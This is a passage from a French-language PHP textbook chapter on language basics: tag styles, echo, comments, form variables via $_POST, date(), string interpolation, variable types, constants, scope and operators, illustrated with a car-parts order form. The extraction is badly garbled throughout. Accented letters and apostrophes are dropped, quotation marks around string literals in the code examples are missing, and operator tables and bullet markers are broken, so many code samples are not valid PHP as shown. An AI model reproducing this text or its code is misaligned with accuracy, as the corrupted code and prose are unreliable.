<SCRIPT LANGUAGE=php> echo "<p>Commande traite."; </SCRIPT>

Ce style de balise est le plus long et le plus familier pour les utilisateurs de JavaScript ou de VBScript. Vous pouvez ladopter si votre diteur HTML pose problme
avec les autres styles de balise.
m

Style ASP :
<% echo "<p>Commande traite.";%>

Ce style de balise est analogue au style utilis dans les pages ASP (Active Server Pages)
ou ASP.NET. Pour lemployer, vous devez activer le paramtre de configuration
asp tags. Vous navez aucune raison dutiliser ce style, sauf si votre diteur de texte est
orient ASP ou ASP.NET. Notez que, par dfaut, ce style de balise est dsactiv.
Instructions de PHP
Pour informer linterprteur PHP des actions entreprendre, il faut insrer des instructions entre les balises PHP douverture et de fermeture.

Chapitre 1

PHP : les bases

21

Dans lexemple considr ici, nous nutilisons quun seul type dinstruction :
echo "<p>Commande traite.";

Vous lavez dj probablement devin, lemploi de la construction echo se traduit par


un rsultat trs simple : laffichage dans la fentre du navigateur de la chane qui lui est
passe en paramtre. Notez le point-virgule plac la fin de linstruction echo. Le
point-virgule semploie pour sparer les instructions PHP les unes des autres, tout
comme le point semploie pour sparer des phrases en franais. Si vous avez dj
programm en C ou en Java, cette syntaxe ne vous est pas trangre.
Loubli dun point-virgule en fin dinstruction est une erreur de syntaxe trs rpandue.
Cette erreur est toutefois facile dtecter et corriger.
Espaces
Les caractres despacement, tels que les nouvelles lignes (retour chariot), les espaces
et les tabulations, constituent ce que lon appelle des espaces. Vous le savez probablement dj, les navigateurs ignorent les espaces dans le code HTML. Il en va de mme
avec le moteur PHP.
Soit les deux fragments HTML suivants :
<h1>Bienvenue dans le garage de Bob!</h1><p>Que voulez-vous commander aujourdhui?

et
<h1>Bienvenue
dans le garage
de Bob!</h1>
<p>Que voulez-vous commander
aujourdhui?

Lexcution de ces deux fragments donne le mme rsultat laffichage parce quils
apparaissent comme identiques pour le navigateur web. Vous pouvez toutefois utiliser
des espaces dans votre code HTML et vous tes mme fortement encourag le faire
avec soin pour amliorer la lisibilit de votre code. Il en va de mme en PHP. Rien ne
vous oblige insrer des espaces entre des instructions PHP, mais vous obtiendrez des
programmes PHP beaucoup plus lisibles si vous placez vos instructions sur des lignes
spares. Par exemple :
echo bonjour;
echo tous;

et
echo bonjour ;echo tous;

sont quivalentes, mais la premire version est bien plus lisible.

22

Partie I

Utilisation de PHP

Commentaires
Les commentaires placs dans les programmes sont en quelque sorte des indications
crites lintention des personnes qui lisent le code. Vous pouvez insrer des commentaires pour expliquer les actions du script, indiquer lauteur du script, expliquer pourquoi limplmentation a t effectue de telle manire, donner la date de dernire
modification et ainsi de suite. En gnral, tous les scripts PHP contiennent des
commentaires, lexception peut-tre des plus simples.
Linterprteur PHP ignore tout le texte plac dans un commentaire. Plus prcisment,
lanalyseur PHP saute les commentaires, comme sil sagissait despaces.
Le langage PHP supporte les commentaires de style C, C++ et shell.
Voici un commentaire de plusieurs lignes crit dans le style C et qui pourrait figurer au
dbut dun script PHP :
/* Auteur: Bob Smith
Date de dernire modification: 10 avril
Ce script traite les commandes client.
*/

Les commentaires sur plusieurs lignes doivent tre encadrs par les paires de caractres
/* et */. Tout comme en C, il est interdit dimbriquer des commentaires multiligne.
Vous pouvez galement insrer des commentaires dune seule ligne, soit dans le style
C++ :
echo <p>Commande traite.; // Dbut de laffichage

soit dans le style des scripts shell :


echo <p>Commande traite.; # Dbut de laffichage

Avec ces deux derniers styles, tout le texte plac aprs le symbole de commentaire ( # ou
//) est considr comme du commentaire tant que la fin de la ligne ou la balise PHP de
clture na pas t atteinte.
Dans la ligne de code suivante, le texte avant la balise fermante, voici un commen
taire, fait partie dun commentaire. Le texte aprs la balise fermante, pas ici, est
trait comme du HTML parce quil se trouve aprs la balise fermante :
// voici un commentaire?> pas ici

Ajout de contenu dynamique


Jusquici, tout ce que nous avons cod en PHP aurait tout aussi bien pu tre cod en
HTML, avec le mme rsultat.
Le principal intrt dun langage de script ct serveur rside dans la cration de
contenu dynamique. Il sagit l dun atout important, parce quun contenu se modifiant

Chapitre 1

PHP : les bases

23

pour sadapter aux besoins de chaque utilisateur, ou en fonction du temps, incite les
internautes revenir sur votre site. Le langage PHP permet facilement de mettre en
uvre un tel effet dynamique.
Commenons par un exemple simple. Remplacez le code PHP prcdemment insr
dans le fichier processorder.php par le code suivant :
<?php
echo <p>Commmande traite ;
echo date(H:i, \l\e j-m-Y);
echo </p>;
?>

Dans ce fragment, nous nous servons de la fonction date() prdfinie du langage PHP
pour indiquer au client la date et lheure du traitement de sa commande. Laffichage qui
en rsulte sera diffrent chaque nouvelle excution du script. La Figure 1.3 montre un
exemple de laffichage gnr par lexcution du script.
Figure 1.3
La fonction PHP date()
renvoie une chane
de date mise en forme.

Appel de fonctions
Examinez lappel de la fonction date() dans le fragment de code considr ici. Lappel
a t ralis avec la syntaxe standard. Le langage PHP comprend une riche bibliothque
de fonctions pour le dveloppement dapplications web et la plupart de ces fonctions
requirent que des donnes leur soient passes pour renvoyer un rsultat.
Soit lappel de fonction suivant :
date(H:i, \l\e j-m-Y)

Notez quune chane (des donnes textuelles) est passe la fonction dans une paire de
parenthses. Llment entre les parenthses est appel le paramtre, ou argument de la
fonction. Ces arguments constituent les entres utilises par la fonction pour gnrer le
rsultat spcifique attendu.

24

Partie I

Utilisation de PHP

Fonction date()
La fonction date() attend que le paramtre qui lui est pass soit une chane de format,
spcifiant le style voulu pour la sortie. Chacune des lettres de la chane reprsente une
partie de la date et de lheure. H est lheure dans un format sur 24 heures avec des zros
den-tte si ncessaire, i reprsente les minutes avec un zro den-tte si ncessaire,
j reprsente le jour du mois sans zro den-tte, m reprsente le numro du mois et
J reprsente lanne, sous un format quatre chiffres. Les caractres prcds dun
antislash reprsentent du texte littral (vous trouverez la liste complte des formats pris
en charge par la fonction date() au Chapitre 19).

Accs aux variables des formulaires


Le principal objectif dun formulaire de commande est la collecte des informations
relatives aux commandes des clients. Rcuprer les donnes saisies par le client dans un
tel formulaire se rvle trs facile avec PHP mais la mthode employe dpend de la
version que vous utilisez et dun paramtrage dans votre fichier php.ini.
Variables des formulaires
Dans votre script PHP, vous pouvez accder chacun des champs dun formulaire par le
biais de variables dont les noms font rfrence au nom du champ de formulaire associ.
Dans le langage PHP, les noms de variables sont reconnaissables du fait de la prsence du
prfixe dollar ($). Loubli du signe dollar constitue une erreur de programmation courante.
En fonction de votre version et de votre installation PHP, vous disposez de trois manires
pour accder aux donnes dun formulaire via des variables. Ces mthodes ne portent
pas de noms officiels, cest pourquoi nous les avons appeles les styles "abrg",
"mdium" et "long". Dans tous les cas, il est possible daccder dans le script chacun
des champs de formulaire soumis au script.
Vous pouvez accder au contenu du champ qte pneus des manires suivantes :
$qte_pneus
$_POST[qte_pneus]
$HTTP_POST_VARS[qte_pneus]

// style abrg
// style mdium
// style long

Dans cet exemple, ainsi que dans tout le reste de cet ouvrage, nous avons adopt le
style mdium de rfrencement des variables de formulaire (autrement dit,
$ POST[qte pneus]), mais nous crons des versions abrges des variables pour des
raisons de commodit (cette approche est recommande depuis PHP 4.2.0).
Pour vos programmes personnels, vous pouvez choisir une approche diffrente mais
vous devez tre conscient des enjeux ; cest pourquoi nous prsentons ds maintenant
les diffrentes mthodes.

Chapitre 1

PHP : les bases

25

En bref :
m

Si le style abrg ($qte pneus) est pratique, il exige que le paramtre de configuration
register globals soit activ. Son activation ou sa dsactivation par dfaut dpend de
la version de PHP. Dans toutes les versions depuis 4.2.0, il a t dsactiv par dfaut.
Ce style favorisant les erreurs susceptibles de rendre votre code vulnrable aux attaques, il est dsormais dconseill. Ce serait de toute faon une mauvaise ide de lutiliser dans du nouveau code car il y a de fortes chances pour quil disparaisse en PHP 6.
Le style mdium ($ POST[qte pneus]) est maintenant lapproche recommande.
Il est assez pratique mais nest apparu quavec PHP 4.1.0 ; il ne fonctionnera donc
pas sur de trs anciennes installations.
Le style long ($HTTP POST VARS[qte pneus]) est le plus "bavard". Notez
cependant quil a t dclar obsolte (deprecated) et quil est en consquence
vraisemblable quil disparatra dans le long terme. Ce style tait auparavant le
plus portable mais peut maintenant tre dsactiv via la directive de configuration
register long arrays, qui amliore les performances. L aussi, il est dconseill
de lutiliser dans du nouveau code, sauf si lon a de trs bonnes raisons de penser
que le script sera install sur un serveur ancien.

Lorsquon emploie le style abrg, les variables du script portent les mmes noms que
les champs du formulaire HTML, cest pourquoi il nest pas ncessaire de dclarer les
variables ou dentreprendre quoi que ce soit pour les crer dans le script. Les variables
sont passes au script de la mme faon que des arguments le sont une fonction. Avec
le style abrg, on peut donc se contenter dutiliser une variable comme $qte pneus car
le champ du formulaire la cre automatiquement dans le script de traitement.
Ce type daccs pratique aux variables est attrayant mais, avant dactiver
register globals, il convient de sintresser aux raisons pour lesquelles lquipe
charge du dveloppement de PHP la dsactive.
Le fait de pouvoir accder directement aux variables est trs pratique mais cela facilite
lapparition derreurs de programmation susceptibles de compromettre la scurit de
vos scripts. Lorsque les variables dun formulaire deviennent automatiquement des
variables globales, il ny a plus de sparation vidente entre les variables cres par le
programmeur et les variables douteuses directement envoyes par lutilisateur.
Si vous ne prenez pas la prcaution de donner toutes vos variables une valeur initiale,
les utilisateurs de vos scripts peuvent donc passer des variables et des valeurs, sous la
forme de variables de formulaire, qui se mlangeront aux vtres. En consquence, si
vous choisissez le style abrg pour accder aux variables, vous devez vous assurer de
donner une valeur initiale vos variables.
Le style mdium implique la rcupration des variables de formulaire partir dun
des tableaux $ POST, $ GET ou $ REQUEST. Un tableau $ GET ou $ POST contiendra

26

Partie I

Utilisation de PHP

tous les dtails de toutes les variables du formulaire. Le choix du tableau dpend de
la mthode (GET ou POST, respectivement) utilise pour lenvoi du formulaire.
En outre, une combinaison de toutes les donnes envoyes via POST ou GET sera disponible par le biais de $ REQUEST.
Si le formulaire utilise la mthode POST, la valeur entre dans le champ qte pneus sera
enregistre dans $ POST[qte pneus]. Si cest la mthode GET qui est employe, cette
valeur sera contenue dans $ GET[qte pneus]. Dans les deux cas, la valeur sera
disponible dans $ REQUEST[qte pneus].
Ces tableaux font partie des tableaux "superglobaux", dont nous reparlerons lorsque
nous voquerons la porte des variables.
Si vous utilisez une version trs ancienne de PHP, il est possible que vous nayez pas
accs aux tableaux $ POST ou $ GET : dans les versions antrieures la 4.1.0, les
mmes informations taient enregistres dans des tableaux appels $HTTP POST VARS et
$HTTP GET VARS. Cest ce que nous appelons le style long. Comme nous lavons indiqu prcdemment, ce style a t dclar "obsolte". Il ny a pas dquivalent au tableau
$ REQUEST dans ce style.
Avec le style long, vous pouvez accder la rponse de lutilisateur via
$HTTP POST VARS[qte pneus] ou $HTTP GET VARS[qte pneus].
Les exemples dans ce livre ont t tests avec la version 5.2 de PHP et ils seront parfois
incompatibles avec des versions de PHP antrieures la version 4.1.0. Cest pourquoi nous
vous recommandons dutiliser, dans la mesure du possible, une version rcente de PHP.
Prenons un autre exemple. Le style mdium de rfrencement des variables utilisant un
type de variable appel tableau (lesquels ne seront vraiment tudis quau Chapitre 3),
nous commencerons lcriture du script en crant des copies de variables plus faciles
manipuler.
Pour copier la valeur dune variable dans une autre, servez-vous de loprateur daffectation, qui, en PHP, est le signe "gal" (=). La ligne de code suivante cre une nouvelle
variable appele $qte pneus et y copie le contenu de $ POST[qte pneus] :
$qte_pneus = $_POST[qte_pneus];

Insrez le bloc de code qui suit au dbut du script. Tous les autres scripts prsents dans
ce livre et qui traitent des donnes issues de formulaire commenceront par un bloc du
mme genre. Ce bloc ne gnrant pas de sortie, il importe peu quil soit plac avant ou
aprs la balise <html> ou les autres balises HTML du dbut de votre page. En gnral,
nous le plaons au tout dbut du script afin quil soit facilement reprable.
<?php
// Cre des noms de variables abrges
$qte_pneus = $_POST[qte_pneus];

Chapitre 1

PHP : les bases

27

$qte_huiles = $_POST[qte_huiles];
$qte_bougies = $_POST[qte_bougies];
?>

Ce code cre trois nouvelles variables ($qte pneus, $qte huiles et $qte bougies) et
les dfinit de manire quelles contiennent les donnes envoyes via la mthode POST
du formulaire.
Pour que le script ait un effet visible, ajoutez les lignes de code suivantes la fin de
votre script PHP :
echo
echo
echo
echo

<p>Rcapitulatif de votre commande:</p>;


$qte_pneus . pneus<br />;
$qte_huiles . bidons d\huile<br />;
$qte_bougies . bougies<br />;

ce stade, vous navez pas vrifi le contenu des variables afin de vous assurer que les
valeurs entres dans chaque champ de formulaire soient cohrentes. Essayez dentrer
de manire dlibre des donnes errones et observez ce qui se passe. Aprs avoir lu la
suite de ce chapitre, vous souhaiterez peut-tre ajouter ce script du code pour la validation des donnes.
ATTENTION
Utiliser directement les donnes de lutilisateur pour les afficher dans le navigateur comme
ici est une opration risque du point de vue de la scurit. Vous devriez filtrer ces donnes
comme on lexplique au Chapitre 4. Les problmes de scurit sont prsents au Chapitre 14.

Si vous chargez le fichier ainsi cr dans votre navigateur, le script affichera une sortie
comme celle de la Figure 1.4. Les valeurs affiches dpendent videmment de celles
qui ont t entres dans le formulaire.
Figure 1.4
Les variables saisies
par lutilisateur dans le
formulaire sont facilement accessibles dans
processorder.php.

28

Partie I

Utilisation de PHP

Les quelques points intressants relever propos de cet exemple sont examins dans
les sous-sections qui suivent.
Concatnation de chanes
Dans ce script, la fonction echo sert afficher la valeur saisie par lutilisateur dans
chacun des champs du formulaire, suivie dun texte indiquant la signification de la
valeur affiche. Examinez attentivement les instructions echo : le nom de la variable et
le texte qui le suit sont spars par un point (.), comme dans la ligne de code suivante :
echo $qte_pneus . pneus<br>;

Le caractre point reprsente ici loprateur de concatnation de chanes et sutilise


pour accoler des chanes de caractres (des fragments de texte) les unes aux autres.
Vous y aurez souvent recours lorsque vous enverrez au navigateur des donnes en sortie
avec echo car la concatnation de chanes permet dviter la rptition des commandes
echo.
Toutes les variables simples peuvent galement tre insres dans des chanes encadres par des apostrophes doubles passes la fonction echo (les tableaux sont plus
dlicats prendre en charge et cest pourquoi nous nous intresserons la combinaison
des tableaux et des chanes au Chapitre 4).
Par exemple :
echo "$qte_pneus pneus<br />";

Cette ligne quivaut linstruction prsente plus haut. Chacun de ces deux formats est
correct et le choix de lun ou lautre est surtout une affaire de got personnel. Le
processus qui consiste remplacer un nom de variable par sa valeur dans une telle
chane est appel "interpolation". Cette fonctionnalit est spcifique aux chanes entre
apostrophes doubles : elle ne fonctionne pas avec les chanes entre apostrophes simples
de cette manire. Si vous excutez la ligne de code suivante :
echo $qte_pneus pneus<br />;

le navigateur affichera simplement "$qte pneus pneus<br />". Lorsque la variable est
encadre par des apostrophes doubles, son nom est remplac par sa valeur. Si elle est
place entre des apostrophes simples, son nom, ou tout autre texte, est envoy tel quel
au navigateur.
Variables et littraux
La variable et la chane concatnes lune avec lautre dans chacune des instructions
echo sont deux entits de nature diffrente. Une variable est un symbole reprsentant
des donnes, tandis quune chane constitue les donnes elles-mmes. Lorsque des
donnes brutes sont spcifies directement dans un programme, comme cest le cas

Chapitre 1

PHP : les bases

29

dans lexemple considr ici, les donnes sont qualifies de "littrales", pour marquer la
diffrence avec une variable. $qte pneus est une variable, cest--dire un symbole dsignant les donnes saisies par le client. En revanche, pneus<br /> est un littral (cette
chane na pas besoin dtre interprte pour tre envoye au navigateur).
Nous nen avons pas tout fait fini sur ce point. Dans la dernire instruction cite, PHP
remplace dans la chane le nom de variable $qte pneus par la valeur stocke dans la
variable.
Nous avons dj mentionn deux types de chanes : celles encadres par des apostrophes doubles et celles encadres par des apostrophes simples. PHP tente dvaluer les
chanes entre apostrophes doubles, ce qui conduit au rsultat du traitement de linstruction prcdente. Les chanes places entre apostrophes simples sont traites comme des
littraux.
Il existe galement un troisime type de chane : les "documents sur place". Leur
syntaxe (<<<) est familire aux utilisateurs de Perl et a t ajoute PHP 4. Elle permet
de spcifier des chanes longues de manire soigne, en utilisant un marqueur de fin qui
sera utilis pour terminer la chane. Lexemple suivant cre et affiche une chane de trois
lignes :
echo <<<FIN
ligne1
ligne2
ligne3
FIN

Le lexme FIN est entirement arbitraire, mais il ne doit pas apparatre dans le contenu
de la chane. Pour fermer un document sur place, il suffit de placer le lexme au dbut
dune ligne.
Les documents sur place sont interpols, comme les chanes entre apostrophes doubles.

Identificateurs
Les noms des variables sont des identificateurs (tout comme les noms de fonctions et de
classes les fonctions et les classes sont traites aux Chapitres 5 et 6). Le choix des
identificateurs doit tre effectu en respectant quelques rgles simples :
m

m
m

La longueur dun identificateur nest pas limite. Un identificateur peut se composer


de lettres, de nombres et de blancs souligns.
Un identificateur ne peut pas commencer par un chiffre.
En PHP, les identificateurs sont sensibles la casse ( la prsence de minuscules et
de majuscules). $qte pneus est un identificateur diffrent de $Qte Pneus. Le nonrespect de la casse constitue une erreur de programmation commune. Les noms des

30

Partie I

Utilisation de PHP

fonctions font exception cette rgle puisquils peuvent tre orthographis sans
respect de la casse.
m

Une variable peut porter le mme nom quune fonction. Cette pratique est toutefois
dconseille parce quelle prte confusion. Par ailleurs, vous ne pouvez pas crer
une fonction portant le mme nom quune autre fonction.

Cration de variables
Vous pouvez dclarer et utiliser vos propres variables en plus des variables passes au
script partir du formulaire HTML.
Lune des particularits de PHP est quil nest pas ncessaire de dclarer des variables
avant de les utiliser. Une variable est automatiquement cre lorsquune valeur lui est
affecte pour la premire fois (voir la section suivante pour plus de dtails ce sujet).

Affectation de valeurs des variables


Laffectation de valeurs des variables seffectue au moyen de loprateur daffectation
=. Sur le site de Bob, nous devons calculer le nombre total darticles commands, ainsi
que le montant total de la commande. Pour stocker ces nombres, nous pouvons crer
deux variables, que nous initialiserons la valeur zro.
Ajoutez les lignes de code qui suivent la fin de votre script PHP :
$qte_totale = 0;
$montant_total = 0.00;

Chacune de ces instructions cre une variable et lui affecte une valeur littrale. Il est
galement possible daffecter la valeur dune variable une autre variable, comme le
montrent les instructions suivantes :
$qte_totale = 0;
$montant_total = $qte_totale;

Types des variables


Le type des variables fournit une indication de la nature des donnes qui y sont conserves. PHP fournit plusieurs types de donnes. Diverses donnes peuvent tre stockes
dans diffrents types de donnes.
Types de donnes du PHP
Le langage PHP prend en charge les types de donnes de base suivants :
m

Entier. Utilis pour les nombres entiers.

Flottant (aussi appel Double). Utilis pour les nombres rels.

Chapitre 1

Chane. Utilis pour les chanes de caractres.

Boolen. Utilis pour exprimer les valeurs vraies ou fausses.

PHP : les bases

31

Tableau. Utilis pour stocker plusieurs lments de donnes de mme type (voir
Chapitre 3).
Objet. Utilis pour stocker des instances de classes (voir Chapitre 6).

Il existe galement deux types spciaux : NULL et ressource. Les variables auxquelles
il na pas t donn de valeur spcifique, celles qui sont considres comme non dfinies et celles auxquelles il a t affect la valeur spcifique NULL sont considres
comme tant du type NULL. Certaines fonctions prdfinies (comme les fonctions de
base de donnes) retournent des variables du type ressource : elles reprsentent des
ressources externes (comme des connexions de base de donnes). Il est extrmement
rare que lon soit amen manipuler directement une variable du type ressource, mais
elles sont frquemment renvoyes par des fonctions et doivent tre passes comme
paramtres dautres fonctions.
Intrt du typage
On dit que PHP est un langage faiblement typ ou quil utilise un typage dynamique.
Dans la plupart des langages de programmation (C, par exemple), une variable ne
peut appartenir qu un seul type de donnes, qui doit tre prcis avant toute utilisation de la variable. En PHP, le type dune variable est dtermin par la valeur qui lui est
affecte.
Lorsque nous avons cr $qte totale et $montant total, par exemple, leurs types
initiaux ont t dtermins lors de lexcution des instructions suivantes :
$qte_totale = 0;
$montant_total = 0.00;

La valeur entire 0 ayant t affecte la variable $qte totale, celle-ci prend le type
entier. Selon la mme logique, $montant total est de type flottant.
Bien que cela puisse sembler trange, nous pourrions ajouter la ligne suivante notre
script :
$montant_total = Bonjour;

La variable $montant total serait alors de type chane car PHP adapte le type de
chaque variable aux donnes qui y sont contenues, chaque instant.
Cette capacit du langage PHP modifier les types des variables " la vole" peut se
rvler extrmement utile. Souvenez-vous que PHP dtecte "automatiquement" le type
des donnes stockes dans chaque variable et quil renvoie par consquent toujours les
donnes avec le type appropri, lorsque vous rcuprez le contenu dune variable.

LivrePHP&MSQL.book Page 32 Mardi, 25. novembre 2008 1:02 13

32

Partie I

Utilisation de PHP

Transtypage
Si PHP est un langage faiblement typ, il donne nanmoins la possibilit de forcer le
type dune valeur ou dune variable par un transtypage (casting). Le principe est identique au transtypage du langage C. Il suffit de spcifier le type temporaire entre parenthses,
juste avant la variable concerne.
Nous pourrions ainsi dclarer les deux variables cites prcdemment, $qte_totale et
$montant_total, en effectuant un transtypage comme suit :
$qte_totale = 0;
$montant_total = (double)$qte_totale;

Linterprteur PHP analyse la seconde instruction de la manire suivante : "Prendre la


valeur stocke dans $qte_totale, linterprter comme une variable de type flottant
et la stocker dans $montant_total". La variable $montant_total prend alors le type
flottant. Le transtypage naffectant pas les types des variables soumises au transtypage,
$qte_totale reste de type entier.
Variables dynamiques
PHP admet un autre type de variable : les variables dynamiques. Celles-ci permettent
de changer les noms des variables de manire dynamique.
Comme vous pouvez le constater, PHP autorise une grande souplesse pour manipuler
les types et les noms de variables. Si tous les langages de programmation autorisent
la modification du contenu des variables, seuls quelques-uns permettent de modifier le
type dune variable et rares sont les langages autoriser la modification des noms
de variables.
Le principe dune variable dynamique consiste utiliser la valeur dune variable
comme nom dune autre variable. Nous pourrions crire la ligne de code suivante :
$nom_var = qte_pneus;

puis utiliser $$nom_var en lieu et place de $qte_pneus. Nous pourrions alors dfinir la
valeur de $qte_pneus de la manire suivante :
$$nom_var = 5;

ce qui est strictement quivalent :


$qte_pneus = 5;

Ce concept peut sembler abscons, mais vous en saisirez mieux lutilit lorsque nous
lappliquerons dans lexemple donn dans la section consacre aux boucles for, un peu
plus loin dans cet ouvrage. Plutt qunumrer et utiliser chaque variable dun formulaire sparment, nous utiliserons une boucle et une mme variable pour traiter automatiquement toutes les variables du formulaire.

Chapitre 1

PHP : les bases

33

Constantes
Comme nous lavons mentionn plus haut, nous pouvons modifier la valeur stocke dans
une variable. Nous pouvons galement dclarer des constantes. Tout comme une variable,
une constante stocke une valeur mais, contrairement une variable, cette valeur est fixe
"une fois pour toutes" et ne peut plus tre modifie un autre endroit du script.
Dans notre exemple du site de Bob, les prix des diffrents articles proposs la vente
pourraient tre stocks dans des constantes. La dfinition dune constante seffectue au
moyen de la fonction define :
define(PRIX_PNEUS, 100);
define(PRIX_HUILES, 10);
define(PRIX_BOUGIES, 4);

Ajoutez ces lignes de code votre script. Nous disposons prsent de trois constantes
qui peuvent tre utilises pour calculer le total de la commande passe par le client.
Vous remarquerez que tous les noms de constante sont ici spcifis en majuscules. Cette
convention est emprunte au langage C : elle permet de distinguer dun coup dil
variables et constantes. Elle nest pas obligatoire, mais fortement recommande parce
quelle facilite la lecture et la maintenance du code.
Contrairement aux variables, les constantes ne sont pas prfixes par le caractre dollar.
Pour utiliser la valeur dune constante, il suffit de spcifier son nom. Pour utiliser lune
des constantes cres prcdemment, nous pourrions donc crire :
echo PRIX_PNEUS;

Outre les constantes cres par le programmeur, PHP utilise un grand nombre de constantes
prdfinies. Pour en connatre la liste, utilisez la fonction phpinfo() :
phpinfo();

Lappel phpinfo fournit, entre autres, la liste de toutes les variables et constantes
prdfinies dans PHP. Nous tudierons et utiliserons plusieurs de ces constantes et
variables dans la suite de cet ouvrage.
Lune des autres distinctions entre les variables et les constantes tient ce que les constantes
ne peuvent stocker que des donnes de type boolen, entier, flottant ou chane, cest-dire des types scalaires.

Porte des variables


La "porte" dune variable dsigne les emplacements au sein dun script o la variable
est visible. Les six rgles de porte de base dans PHP sont les suivantes :
m

Les variables superglobales prdfinies sont visibles nimporte quel endroit dun
script.

34

Partie I

Utilisation de PHP

Les constantes, une fois dclares, sont toujours visibles globalement ; autrement
dit, elles peuvent tre utilises lintrieur et lextrieur de fonctions.
Les variables globales dclares dans un script sont visibles dans tout le script, mais
pas lintrieur des fonctions.
Une variable utilise lintrieur dune fonction et qui est dclare comme tant
globale fait rfrence la variable globale de mme nom.
Les variables cres lintrieur de fonctions et dclares comme statiques sont
invisibles en dehors de la fonction mais conservent leur valeur entre deux excutions
de la fonction (nous reviendrons sur ce mcanisme au Chapitre 5).
Les variables cres lintrieur dune fonction sont locales la fonction et cessent
dexister lorsque cette dernire se termine.

partir de PHP 4.2, les tableaux $ GET et $ POST ainsi que dautres variables spciales
utilisent des rgles particulires pour leur porte. Celles-ci sont appeles variables
superglobales ou autoglobales et sont visibles nimporte quel endroit du script, aussi
bien lintrieur qu lextrieur des fonctions.
Voici la liste complte des variables superglobales :
m

$GLOBALS. Tableau de toutes les variables globales (comme le mot-cl global, ce


tableau vous permet daccder des variables globales dans une fonction avec
$GLOBALS[ma_variable], par exemple).

$ SERVER. Tableau des variables denvironnement du serveur.

$ GET. Tableau des variables passes au script par le biais de la mthode GET.

$ POST. Tableau des variables passes au script par le biais de la mthode POST.

$ COOKIE. Tableau des variables des cookies.

$ FILES. Tableau des variables associes aux transferts de fichiers.

$ ENV. Tableau des variables denvironnement.

$ REQUEST. Tableau de toutes les variables entres par lutilisateur, ce qui comprend
les entres de $ GET, $ POST et $ COOKIE (mais pas celles de $ FILES depuis
PHP 4.3.0).
$ SESSION. Tableau des variables de session.

Nous tudierons chacune de ces variables mesure de nos besoins et reviendrons plus
en dtail sur la notion de porte des variables lorsque nous examinerons les fonctions et
les classes. Jusque-l, toutes les variables que nous utiliserons seront de porte globale.

Chapitre 1

PHP : les bases

35

Oprateurs
Les oprateurs sont reprsents par des symboles et servent manipuler des valeurs et
des variables en les soumettant des oprations. Pour calculer les totaux et la taxe du
bon de commande client de Bob, nous devons recourir des oprateurs.
Nous avons dj mentionn deux oprateurs : loprateur de concatnation de chanes .
et loprateur daffectation =. Dans les sections qui suivent, nous allons passer en revue
la liste complte des oprateurs disponibles en PHP.
En gnral, les oprateurs peuvent prendre un, deux ou trois arguments, la majorit
dentre eux prenant deux arguments. Par exemple, loprateur daffectation prend deux
arguments : lemplacement de stockage gauche du symbole = et une expression,
place sa droite. Ces arguments sont appels oprandes. Un oprande est un lment
auquel sapplique loprateur.
Oprateurs arithmtiques
Les oprateurs arithmtiques de PHP sont trs simples : il sagit en fait des oprateurs
mathmatiques traditionnels. Le Tableau 1.1 numre les oprateurs arithmtiques.
Tableau 1.1 : Oprateurs arithmtiques de PHP

Oprateur

Nom

Exemple

Addition

$a+$b

Soustraction

$a

Multiplication

$a * $b

Division

$a / $b

Modulo

$a% $b

$b

Avec chacun de ces oprateurs, nous pouvons stocker le rsultat de lopration, comme
ici :
$resultat = $a+$b;

Laddition et la soustraction fonctionnent comme nous pouvons nous y attendre. Ces


oprateurs effectuent respectivement laddition et la soustraction des valeurs stockes
dans les variables $a et $b.
Loprateur de soustraction ( ) sutilise galement comme oprateur unaire (cest-dire un oprateur qui ne prend quun seul argument ou oprande) pour indiquer des
nombres ngatifs, comme dans lexemple suivant :
$a = -1;

36

Partie I

Utilisation de PHP

Le fonctionnement de la multiplication et de la division est lui aussi conforme au fonctionnement attendu. Notez lusage du caractre astrisque (*) pour loprateur de multiplication au lieu du symbole classique de multiplication et lusage de la barre oblique
pour loprateur de division, au lieu du symbole classique de la division.
Loprateur modulo renvoie le reste de la division de la variable $a par la variable $b.
Soit le fragment de code suivant :
$a = 27;
$b = 10;
$resultat = $a % $b;

La valeur stocke dans la variable $resultat est le reste obtenu aprs division de 27 par
10, cest--dire 7.
Les oprateurs arithmtiques sont gnralement appliqus des entiers ou des
nombres rels (doubles). Lorsquils sont appliqus des chanes, linterprteur PHP
tente de convertir les chanes en nombres. Lorsque les chanes contiennent un "e" ou un
"E", PHP les lit comme tant en notation scientifique et les convertit en nombres rels ;
sinon il les convertit en nombres entiers. PHP examine si la chane commence par des
chiffres et, si cest le cas, les utilise comme valeur numrique. Si ce nest pas le cas,
linterprteur PHP considre que la valeur de la chane est zro.
Oprateur de chanes
Nous avons dj vu et utilis lunique oprateur de chane admis par PHP : loprateur
. de concatnation de chanes. Cet oprateur semploie pour accoler deux chanes lune
lautre. Il gnre et stocke son rsultat la manire de loprateur daddition.
$a = "Le garage ";
$b = "de Bob";
$resultat = $a.$b;

Aprs lexcution de ces instructions, la variable $resultat contient la chane Le


garage de Bob.
Oprateurs daffectation
Nous avons dj voqu loprateur daffectation =. Cet oprateur doit toujours tre
dsign comme tant loprateur daffectation et se lit "reoit". Ainsi :
$qte_totale = 0;

se lit "$qte totale reoit la valeur zro". Nous reviendrons sur ce point un peu plus
loin dans ce chapitre, lorsque nous tudierons les oprateurs de comparaison, mais si
vous lappelez "gal" vous risquez dtre surpris.

Chapitre 1

PHP : les bases

37

Valeurs renvoyes par une affectation


Loprateur daffectation renvoie une valeur, comme les autres oprateurs. Ainsi,
lexcution de lexpression :
$a+$b

renvoie la valeur obtenue en ajoutant la variable $a la variable $b. De la mme


manire, vous pouvez crire :
$a = 0;

La valeur renvoye par cette expression est zro.


Cette technique vous permet de former des expressions telles que :
$b = 6+ ($a = 5);

Cette expression initialise la variable $b 11. Ce principe est vrai pour toutes les affectations : la valeur dune instruction daffectation est la valeur affecte loprande
plac gauche de loprateur.
Lors de lcriture dune expression arithmtique, vous pouvez employer des parenthses
pour lever la priorit dune sous-expression, comme dans la ligne de code donne plus
haut. Le principe est ici exactement le mme quen mathmatiques.
Oprateurs combins laffectation
Outre loprateur daffectation, PHP admet tout un ensemble doprateurs daffectation
combins. Chacun de ces oprateurs se prsente comme une possibilit abrge pour
effectuer une opration spcifique sur une variable et pour en affecter le rsultat cette
variable. Ainsi, lexpression :
$a += 5;

est quivalente lexpression :


$a = $a+5;

Il existe des oprateurs combins laffectation pour chaque oprateur arithmtique et


pour loprateur de concatnation de chane.
Le Tableau 1.2 dresse une vue rcapitulative de tous les oprateurs combins laffectation et indique leurs effets.
Tableau 1.2 : Oprateurs combins laffectation

Oprateur

Exemple

quivalant

+=

$a += $b

$a = $a+$b

$a

$a = $a

=
*=

= $b

$a *= $b

$b

$a = $a * $b

38

